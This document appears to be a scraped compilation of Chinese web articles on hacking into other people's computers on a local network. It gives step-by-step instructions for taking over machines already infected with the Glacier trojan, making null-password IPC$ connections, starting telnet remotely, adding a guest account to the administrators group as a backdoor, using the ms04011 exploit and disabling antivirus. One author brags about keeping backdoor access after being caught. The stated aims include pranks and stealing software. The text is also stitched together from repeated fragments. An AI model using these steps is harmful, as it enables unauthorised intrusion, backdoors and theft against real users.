怎样入侵同在一个局域网的电脑
怎样入侵同在一个局域网的电脑
方法一：
1.取得对方IP地址如XX.XX.XX.XX，方法太多不细讲了。
2.判断对方上网的地点，开个DOS窗口键入TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是对方的上网地点。
3.得到对方电脑的名称，开个DOS窗口键入NBTSTAT -A XX.XX.XX.XX 第一行是对方电脑名称第二行是对方电脑所在工作组第三行是对方电脑的说明
4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件：XX.XX.XX.XX 电脑名
5.开DOS窗口键入NBTSTAT -R
6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可进入。
方法二：
第一步
下载必备的工具软件。
1号软件就是端口扫描工具“网络刺客II”，2号软件就是著名的国产木马冰河2.2的控制端。
下载完毕并解压缩之后跟我进行第二步!
第二步
运行1号软件，首先出现的是“网络刺客II注册向导”，别理它，点击“稍后(Q)”就进入了网络刺客II的主界面。
第三步
在网络刺客II的主界面里选“工具箱(U)”-》“主机查找器(H)”，就进入了“搜索因特网主机”界面。
第四步
进入“搜索因特网主机”界面后，“起始地址”栏填XXX.XXX.0.0其中XXX.XXX 自己去选择了，比如你可以选61.128或选61.200等等，“结束地址”栏填XXX.XXX.255.255其中XXX.XXX的选择要和前面一样。
“端口”栏填7626，其他栏保持默认不动。
好了，以上设置就是要搜索从XXX.XXX.0.0到XXX.XXX.255.255这一段IP地址中有冰河木马的计算机了，再检查一下填对没有?如果一切OK，请点击“开始搜索”。
第五步
观察“总进度”和“段进度”是否在走动。
如果没有走动，那一定是IP地址设置不对，请认真检查。
如果两个进度都在走动，呵呵，你就成功一半了，至少你会使用网络刺客II扫描网上开放某一端口的计算机了。
下面你要作的就是静静的等待，学用黑客软件是需要耐心的。
大约20-30分钟后，最下面的记录栏里就应该出现记录了(一般情况下，应该有5、6条记录)。
每一条记录代表找到的中了冰河木马的一台计算机，前面是该计算机的IP地址，后面是7626(冰河木马端口)。
第六步
点击“停止搜索”，但不要退出程序，到第十二步时还要用。
运行2号软件冰河，进入冰河主界面。
选“文件[F]”-》“添加主机[A]”进入添加主机窗口。
第七步
在“添加主机”窗口，“显示名称”里填入第五步里搜索到的第一条IP地址，当IP 地址填入“显示名称”里后，“主机地址”里就自动填入相同的IP了。
“访问口令”不填，“监听端口”保持默认的7626。
好了，检查一下IP有没有填错，如果OK，点击“确定”，在冰河主界面的“文件管理器”里就出现了刚才填入的IP地址了。
第八步
这一步和下一步最重要，请认真看清楚!在冰河的主界面里，点击“文件管理器”里的“我的电脑”，这时“文件管理器”右边的框里就会出现你自己的硬盘分区。
比如，如果你的硬盘分的是四个区，“文件管理器”右边的框里就会从上往下依次出现C:、D:、E:、F:，如果你的硬盘分的是两个区，就会出现C:、D:。
第九步
点击“文件管理器”里刚才输入的第一条IP地址，稍等片刻(网速慢的情况下约10-30秒)，在“文件管理器”右边的框里就会出现对方计算机的硬盘分区了。
看到了吗?看到了?呵呵，祝贺你，你已经成功地进入对方的计算机了!!!!!
第十步
你发现没有出现对方计算机的硬盘分区!!呵呵，别急，看看冰河主界面最下端的状态栏里有什么提示，如果是下面两种情况，就放弃，返回第七步，填入搜索到的第二条IP地址:
1、状态栏里出现“口令不对”、“口令错误”、“密码不对”、“密码错误”等之类的提示，表示该计算机的冰河木马是加了密码的，没有办法，只得放弃!
2、状态栏里出现“正在解释命令，可能是1.2以前版本”等之类的提示，也放弃，新手是搞不定的，如果以后你熟练了可以给对方升级，这是后话!!
第十一步
如果出现的是“主机没有响应”、“无法与主机建立连接”之类的提示，先别忙放弃，重复3-4遍第八步到第九步的操作，即点击“我的电脑”-》点击输入的IP 地址，如此反复3-4遍后，还是不行的话再放弃，返回第七步，填入搜索到的下一条IP地址。
第十二步
如果所有搜索到的IP地址按照第七步至第十一步操作后都不能进入对方计算机，呵呵，那是你的运气太差!别急，这样的运气是经常碰到的!再返回第五步，在“搜索因特网主机”界面里点击“开始搜索”，这时该程序又从你停止的IP地址接着往下搜索了!!呵呵，等吧!!搜索吧!!只要你有时间，你一定能成功!
第十三步
终于成功了!我见到对方计算机硬盘分区了!呵呵，怎么样?你成功了，我的任务就完成了。
进入对方计算机后，所有的操作和自己计算机“文件管理器”里的操作一模一样!就没什么黑不到过来的了!。
如何入侵局域网电脑
如何入侵局域网电脑
如何才能入侵局域网电脑呢?以下是人才小编为您收集整理提供到的如何入侵局域网电脑，欢迎阅读参考，希望对你有所帮助!
方法一
1.使用同一个路由器，就是在一个局域网内了
2.确定两台电脑是在同一个工作组就行了
3.查看工作组方式:我的电脑--右击--属*--计算机名里面可以看到你当前电脑所在的工作组,只要是同一工作组就是互相互通只要把文件共享..并设置好共享权限就能在另一台电脑上的网上邻居上看到!
方法二
下载载软件“网络执法官”用它扫描你的局域网ip，然后控制，想上传什么都可以。
最主要是得到他的ip地址
方法三
已经显现的去查日志之类的，还不知道的除了查日志，最好借助入侵检测工具，一般硬件产品的很成熟了
扩展阅读：什么是网络攻防
我们平时涉及到的计算机网络攻防技术，主要指计算机的防病毒技术和制造具破坏*的病毒的技术。
具体的攻和防指的，一个是黑客，一个是杀毒软件。
一个是入侵计算机系统的技术，一个是保护计算机不被入侵的技术。
计算机网络攻防技术在*事上也有一定的应用：就是通过计算机把对方网络破坏掉，从而削弱对方的信息接受，使我方处于优势。
怎样入侵局域网
分析内部网络的漏洞后，就利用“端口重定向”来பைடு நூலகம்侵。
所谓端口转向功能，就是将对某个端口的请求转向到其他电脑上，假设某一分机的内部IP是192．168．0．2，经过流光的扫描知道Administrator的口令为123，并且开放Telnet和3389服务，主机的外部IP是202．99．1．1。在202．99．1．1上运行了一个端口转向的程序(Fpipe．exe)，经过参数设置，这个程序先在202．99．1．1开，23端口并监听，当有请求连接时，创建一个socket，通过22端口把请求发送到192．168．0．2的23端口去．所以，当有人向主机202．99．1.1的23端口发送Telnet连接的请求时，端口转向程序就发生作用了，马上将这个请求转向到那台192．168.0.2分机上的23端口去，因为192．168．0．2开放Telnet服务，所以这台分机会马上作出回应，这样连接就会产生了，也就是说攻击者已经入侵到内网的分机。
例如，有这样一个局域网服务器的IP为202．99．1．1，其内部有一些分机，内部分机的IP我们暂不知道(不过通常为192．168．0．x)。
首先，假如我们已经取得202．99．1．1的Administrator的密码，通过IPCS打开Telnet服务并Telnet上202．99．1．1。执行ipconfig命令，得出其两块网卡的IP分别为192．168，0．1和202．99．1．1，那么其他的机器的IP应该就在192．168．0.X这个网段。在202．99．1．1上安装流光4．7的sensor(其实x-scan也可以，而且x-scan能够扫描的漏洞比流光多。不过操作起来就有点麻烦，你要先上传X-scan到主机，再telnet上去利用x-scan的命令行模式扫描，所以这个telnet终端不能断开，也就是说你要等到x—scan扫描完了才能断开telnet，否则就会中断扫描)，主要是寻找内部网的漏洞。根据我的经验，内部网的机器的安全性极差！administrator的密码很弱智，多数为空或123、123456等!而且有许多分机的guest账号都是Administrators组的成员，总之就是漏洞重重!
怎么样才能攻击局域网电脑
怎么样才能攻击局域网电脑
想和局域网内朋友玩玩小闹剧，捉弄下他们，怎样才能攻击他们电脑呢?下面由店铺给你做出详细的攻击局域网电脑方法介绍!希望对你有帮助!
攻击局域网电脑方法一：
P2P要会用才可以的，还有网络神盾试试把原理和P2P不是很一样
还有就是用攻击工具拉你机器的性能要好过对方的机器这个会导致整个网络掉线
你要上网稳定就上路由给他限制下就可以了，然后你在安装一个彩影arp防火墙
限速要有路由限制(使用P2P限制，人家安装了彩影你也没办法的) 人家对你的工具有arp防火墙抵御
但是这样的网络对于主机克隆类的还是防御不了还有内网攻击也是防御不了的
建议购买新的产品这里我推荐欣向(nuqx) 的产品效果很好。
攻击局域网电脑方法二：
你可以用反P2P终结者，再开你的P2P终结者，他就用不了，
说真的，别的你都不想做的话，就去扁他，欺善怕恶是人的本性。
攻击局域网电脑方法三：
这东西应该去黑客论坛问
不过你既然问了...
就稍微透漏一点
声明
我只指点一二具体个人领悟
提供一个软件
ms04011 你去百度搜就明白了
很好用的一个漏洞 90%可以入侵
想干什么干什么
如果你们是一个寝室的我指你们在很近的地方你还是直接上他机器放木马吧
有杀毒就给他关了去简单好用
木马用冰河就行了。
入侵别人的电脑最简单方法
入侵别人的电脑最简单方法
使用黑客入侵别人的电脑最简单的方法是通过发送一封电子邮件，里
面带有一个恶意的文件。
恶意文件可以是一个可执行程序，比如称为“病毒”的程序。
这种程序会执行一些被黑客精心设计的功能，以达到入侵的
目的。
例如，这种程序可以用来收集有关收件人的个人信息，包括登录凭据、文件和数据，以及任何可以访问的网络设备，比如路由器和服务器。
接收
到邮件的用户只需打开文件，这个病毒就可以轻松侵入，并有可能潜入到
整个网络系统。
同样，黑客也可以通过漏洞来入侵攻击目标的计算机。
漏洞是指系统
中的一些软件或者协议的漏洞，可以用来入侵系统。
例如，网络设备的默
认密码或者操作系统的漏洞，这些都可能被黑客利用，用来入侵目标的网
络系统。
另一种侵入目标网络系统的方法是使用分布式拒绝服务（DDoS）攻击。
DDoS攻击是通过使用大量计算机（称为“红蚂蚁”）来发送大量垃圾信
息以瘫痪目标网络系统的攻击。
这种攻击可以假冒真正的用户，向目标发
送大量的请求，使其受不了，从而使它无法正常工作。
还有一种方法是使用入侵探测系统（IDS）来入侵。
IDS是一种专门
的软件系统，可以检测有关恶意软件的活动。
骇客入侵电脑九大招术
骇客入侵电脑九大招术1、获取口令有三种方法：一是通过网络监听非法得到用户口令，这类方法有一定的局限性，但危害性极大，监听者往往能够获得其所在网段的所有用户账号和口令，对局域网安全威胁巨大；二是在知道用户的账号后（如电子邮件@前面的部分）利用一些专门软件强行破解用户口令，这种方法不受网段限制，但黑客要有足够的耐心和时间；三是在获得一个服务器上的用户口令文件（此文件成为Shadow 文件）后，用暴力破解程序破解用户口令，该方法的使用前提是黑客获得口令的Shadow文件。
此方法在所有方法中危害最大，因为它不需要像第二种方法那样一遍又一遍地尝试登录服务器，而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码，尤其对那些不重视安全问题的用户(指口令安全系数极低的用户，如某用户账号为zys，其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内，甚至几十秒内就可以将其干掉。
2、放置特洛伊木马程序特洛伊木马程序可以直接侵入用户的电脑并进行破坏，它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载，一旦用户打开了这些邮件的附件或者执行了这些程序之后，它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中，并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。
当您连接到因特网上时，这个程序就会通知黑客，来报告您的IP地址以及预先设定的端口。
黑客在收到这些信息后，再利用这个潜伏在其中的程序，就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等，从而达到控制你的计算机的目的。
3、WWW的欺骗技术在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问，如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。
然而一般的用户恐怕不会想到有这些问题存在：正在访问的网页已经被黑客篡改过，网页上的信息是虚假的！例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器，当用户浏览目标网页的时候，实际上是向黑客服务器发出请求，那么黑客就可以达到欺骗的目的了。
局域网入侵方法介绍
局域网入侵方法介绍局域网入侵教程对于有些人来说非常重要，很是想要了解一些入侵方法，但是要掌握这些其实还是存在着一些难题。
下面由小编给你做出详细的局域网入侵方法介绍!希望对你有帮助!局域网入侵方法介绍：局域网入侵方法一：不过比如说在学校的时候，可以进入到整个学校网。
一般如果可以入侵的时候，一般就是有弱口令存在，主要就是其中还包含了139端口，不过其中的防火墙这方面的机子没有开。
所以这个时候需要有入侵工具，对于局域网入侵教程来说，所谓的工具主要就是包含以下这些：首先学习好局域网入侵教程，就是包含了变态扫描器、还有迷你中文版等各种工具，而且在工具之中还包含了杀毒软件，具有了报毒的作用。
在入侵的过程中，需要有变态扫描器，就是在IP地址之中，把需要进行扫描的地址给填上。
然后就是扫描的时候是选择WMI的方式，这样就是按开始键等就可以了，有关局域网ip如何设置的问题。
然后就是面贺杀专用版的名字就是Recton--D,也就是可以将CMD命令选择，然后把"net share C$=C:\"输入其中，这样就是把其余主机之中共享C盘那里进行开启。
这样的局域网入侵教程能够带给人们一些效益。
最后可以将这个变成D、E或者是F等，这样可以把其他盘之中的共享也可以进行开启，在这个过程中其实具有着很高的隐蔽性，而且共享是包含了完全的特点，有关win7防火墙设置问题。
就是这样，便能够达到对方电脑的C盘之中，然后根据自己掌握的技术把CMD 选项成功执行命令。
也就是通过这个方法可以达到局域网入侵的目的，所以必需要掌握局域网入侵教程。
局域网入侵方法二：点我的电脑右键单机管理，然后点操作底下的=》连接到另外一个计算机。
输入对方ip或者你不知道对方ip 可以这样，点浏览高级里的立即查找，就可以显示本局域网工作组内的计算机了。
然后双击你要进入的电脑，呵呵一般局域网的计算机密码是一样的，所以不需要NTLM验证，不过那个验证比较老了，现在不知道还有没有人会用，进入后然后点服务和应用，找到telnet服务，然后开启对方telnet服务，如果没有进入这些界面或者服务出错是因为对方没有开rpc服务，当然还是选择放弃吧，如果按照刚才步骤成功，那恭喜你已经得到一个进入对方计算机的通道了。
如何成功入侵局域网电脑
如何成功入侵局域网电脑我们在入侵的时候难免遇到忘记一些小步骤和小命令的时候。
下面是店铺跟大家分享的是如何成功入侵局域网电脑，欢迎大家来阅读学习。
如何成功入侵局域网电脑入侵局域网电脑方法一1.取得对方IP地址如XX.XX.XX.XX，方法太多不细讲了。
2.判断对方上网的地点，开个DOS窗口键入TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是对方的上网地点。
3.得到对方电脑的名称，开个DOS窗口键入NBTSTAT -A XX.XX.XX.XX 第一行是对方电脑名称第二行是对方电脑所在工作组第三行是对方电脑的说明4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件： XX.XX.XX.XX 电脑名5.开DOS窗口键入 NBTSTAT -R6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可迚入。
入侵局域网电脑方法二1、下载必备的工具软件。
1号软件就是端口扫描工具“网络刺客II”，2号软件就是著名的国产木马冰河2.2的控制端。
下载完毕并解压缩之后跟我迚行第二步!2、运行1号软件，首先出现的是“网络刺客II注册向导”，别理它，点击“稍后(Q)”就迚入了网络刺客II的主界面。
第三步在网络刺客II的主界面里选“工具箱(U)”-》“主机查找器(H)”，就迚入了“搜索因特网主机”界面。
第四步迚入“搜索因特网主机”界面后，“起始地址”栏填XXX.XXX.0.0其中XXX.XXX自己去选择了，比如你可以选61.128或选61.200等等，“结束地址”栏填XXX.XXX.255.255其中XXX.XXX的选择要和前面一样。
“端口”栏填7626，其他栏保持默认不动。
好了，以上设置就是要搜索从XXX.XXX.0.0到XXX.XXX.255.255这一段IP地址中有冰河木马的计算机了，再检查一下填对没有?如果一切OK，请点击“开始搜索”。
利用端口漏洞入侵局域网(限XP系统)
后来一次通过RADMIN操作对方的电脑时不小心被管理员发现了，我想对方的管理员也很感到意外， windows的补丁打上了，还装了强悍的卡巴，还是搞不定黑客！！哈哈，因为卡巴不是杀RADMIN的。后来对方那个管理员启用了局域网“本地连接”中的防火墙功能，这样我无法连接它的电脑了。因为RADMIN是正向连接的，所以在对方开防火墙的情况下是无法使用的。有一次下午下班后我无意地ping 了一下这台电脑的IP，居然有返回。说明对方防火墙关闭了，我马上用RADMIN连接，居然成功。我晕。。。原来对方只开了防火墙，并没有发现这个明显的后门。我想开防火墙也是那位电脑高手给搞的，依那个管理员的水平是想不到这个办法的。不过telnet服务器给关闭了，3389远程桌面也给关了，共享模式也被修改回了原先的样子。看来那位高手也是发现了一些漏洞并补上了，但是那个后门，他却没有发现，这就给我创造了第二次入侵的机会。他有政策我有对策，他可以开防火墙，我可以给他关掉，有人问要是再被管理员开启了防火墙，那岂不是没得玩了。哈哈。。。我下面给出一个我自己研究出来的独门密方，保证百病！哈哈。。。。
局域网电脑入侵
来学校没事,看了些局域网电脑入侵的资料,加上自己实战经验(绝对没搞破坏,也没上传那些木马,这是一点的道德问题),总结出两种常用的入侵途径:1.用139端口(IPC$)入侵(我不常用,好像很难成功)一.先用"NTscan变态扫描器"扫描局域网某一网段(我这里只要是校园网内的就行)的IP,使用WMI扫描,端口139,得到一些弱口令(用户名为administrator,密码为空)的IP,使用cmd.exe,用net use \\IP\IPC$ "" /user:administrator,但是绝大部分电脑都提示说:"发生系统错误53。
找不到网络路径。
"我想可能是被对方防火墙拦截了.只有极个别能连上.net use \\218.168.0.1\IPC$ "" /user:administrator 提示“命令成功完成”,建立好了IPC$(远程管理连接) 二.net time \\192.168.0.1 显示远程主机的当前时间,显示时间为05:00at \\192.168.0.1 05:00 telnet 用at命令启动远程主机的telnet服务,但我用了可是没成功(也可用我得电脑-管理-连接到另一台计算机-输入IP-服务和应用程序-服务-将telnet改为手动-启动,就OK了)telnet 192.168.0.1 telnet上去administrator 键入y后,输入的用户名,密码为空三.net user 查看用户,如:administrator,guest, HelpAssistantnet user guest /active:yes 激活guest用户net user guest *** 更改guest的密码为***net localgroup administrators guest /add 把guest的权限提升为管理员权限,为以后入侵留后门四.net share admin$ net share E$ 开共享,默认都是共享的net share c$ /del 用来关闭共享的net u** *\\192.168.0.1\c$ "" /user:administrator 映射远程主机c$盘到本地x盘,这个我也没成功五使用"远程监控软件dameware"控制这台电脑.六.exit 断开远程主机的连接(没什么用,我都是直接关掉窗口的)2.用23端口(telnet)入侵一.(与上二大同)先用"局域网查看工具V1.60"查看弱口令并开了23端口的,也可以只找到弱口令的主机,然后每个IP都按照电脑-管理-连接到另一台计算机-输入IP-服务和应用程序-服务-将telnet改为手动-启动的方式开启telnet,再在cmd.exe中输入telnet IP,连不起的会出现"不能打开到主机的连接，在端口23: 连接失败",当然有些是开了23端口,但由于防火墙阻止了.telnet 192.168.0.1 telent上去administrator 输入y后,输入的用户名,密码为空二.(同上三)net user 查看用户:administrator,guest, HelpAssistantnet user guest /active:yes 激活guest用户net user guest **** 更改guest的密码为****net localgroup administrators guest /add 把guest的权限提升为管理员权限三.net share ipc$ net share admin$ net share E$ 开共享,默认都是共享的,ipc$一定要开,以便下一步net use \\192.168.0.1\IPC$ "" /user:administrator 建立IPC$(远程管理连接)四.使用"远程监控软件dameware"控制这台电脑.附:1.共享信息net share e=e: 将远程主机的E盘共享, 访问时只需输入\\192.168.136.\enet share c=c:\winnt\system 共享s ystem文件夹net share e /del 关闭E盘共享2.telnet命令(DOS命令),在网上搜,太多了dir d:\ 查看D盘 dir d:\PROGRA~1\ 即program file文件夹,取前6个字母加上~符号,后面再加上数字1shutdown -s -t 60（60秒倒记时关机）opy复制文件DEL删除MKDIR创建目录format格式化硬盘IPCONFIG /ALL查看所有IP信息 NETSTA T -AN查看端口3.ipc$常用命令,也在网上搜,也很多copy c:\x.exe \\192.168.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内,这个我没弄成功copy \\192.168.0.1\c$\x.exe c:\ 将远程主机上的文件复制到自己的机器里4.软件信息一.远程开启telent服务的软件:"Recton--D贺免杀专用版",这个软件很好用,只需要远程主机IP和用户名密码,就可开telent,只可惜要被我金山毒霸杀掉,每次用它都要将实时防毒关掉.二."远程监控软件dameware",这个软件很好,可以控制对方电脑就像在自己机子上操作一样,十分方便,具体教程网上去找,美中不足的是,每次连接上远程主机后,它都要在对方电脑上弹出连接提示窗口,还发出"当"的一声,除非对方又聋又瞎,不然都会被发现.(虽然我已把Additional Settings下的Enable SysTray Icon,和Notify Dialog下的Notify on Connection钩掉了都这样),所以着问题解决不了,这个软件就不要轻易使用.三.端口扫描软件,这就太多了,网上一搜一大堆,也不晓得哪些好,我这里有"s扫描器","NTscan变态扫描器","流光5.0","hscan120扫描器"等注:不要用来搞破坏哈.仅供娱乐!想上传木马的自己到网上找资料.乱世狂人2007.3.4首发地址：/164701150/blog/7。
怎么样入侵局域网电脑
怎么样入侵局域网电脑想要入侵同一个局域网电脑，偷点软件怎么办呢?下面由店铺给你做出详细的入侵局域网方法介绍!希望对你有帮助!入侵局域网电脑方法一：下载载软件“网络执法官”用它扫描你的局域网IP ，然后控制，想上传什么都可以。
最主要是得到他的IP地址入侵局域网电脑方法二：已经显现的去查日志之类的，还不知道的除了查日志，最好借助入侵检测工具，一般硬件产品的很成熟了相关阅读：局域网结构局域网通常是分布在一个有限地理范围内的网络系统，一般所涉及的地理范围只有几公里。
局域网专用性非常强，具有比较稳定和规范的拓扑结构。
常见的局域网拓朴结构如下：折叠星形结构这种结构的网络是各工作站以星形方式连接起来的，网中的每一个节点设备都以中防节为中心，通过连接线与中心节点相连，如果一个工作站需要传输数据，它首先必须通过中心节点。
由于在这种结构的网络系统中，中心节点是控制中心，任意两个节点间的通信最多只需两步，所以，能够传输速度快，并且网络构形简单、建网容易、便于控制和管理。
但这种网络系统，网络可靠性低，网络共享能力差，并且一旦中心节点出现故障则导致全网瘫痪。
折叠树形结构树形结构网络是天然的分级结构，又被称为分级的集中式网络。
其特点是网络成本低，结构比较简单。
在网络中，任意两个节点之间不产生回路，每个链路都支持双向传输，并且，网络中节点扩充方便、灵活，寻查链路路径比较简单。
但在这种结构网络系统中，除叶节点及其相连的链路外，任何一个工作站或链路产生故障会影响整个网络系统的正常运行。
折叠总线形结构总线形结构网络是将各个节点设备和一根总线相连。
网络中所有的节点工作站都是通过总线进行信息传输的。
作为总线的通信连线可以是同轴电缆、双绞线，也可以是扁平电缆。
在总线结构中，作为数据通信必经的总线的负载能量是有限度的，这是由通信媒体本身的物理性能决定的。
所以，总线结构网络中工作站节点的个数是有限制的，如果工作站节点的个数超出总线负载能量，就需要延长总线的长度，并加入相当数量的附加转接部件，使总线负载达到容量要求。